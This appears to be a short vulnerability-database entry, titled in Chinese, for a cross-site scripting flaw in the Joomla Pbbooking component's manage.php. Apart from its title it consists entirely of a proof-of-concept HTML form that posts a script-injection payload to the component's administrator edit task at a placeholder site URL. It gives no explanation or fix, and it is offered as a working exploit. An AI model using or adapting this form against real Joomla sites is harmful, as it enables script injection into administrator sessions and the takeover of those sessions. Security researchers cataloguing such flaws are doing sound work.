Joomla! Pbbooking组件'manage.php'跨站脚本漏洞

                                                <form action="http://site/joomla/administrator/index.php?option=com_pbbooking&controller=manage&task=edit"
method="post">
    <input
type="text" name="id" value="1" />
    <input
type="text" name="date" value="1" />
              <input type="text"
name="xss" value="<script>alert('XSS')</script>"
/>
  <input
type="submit" name="submit2" value="Submit" />
</form>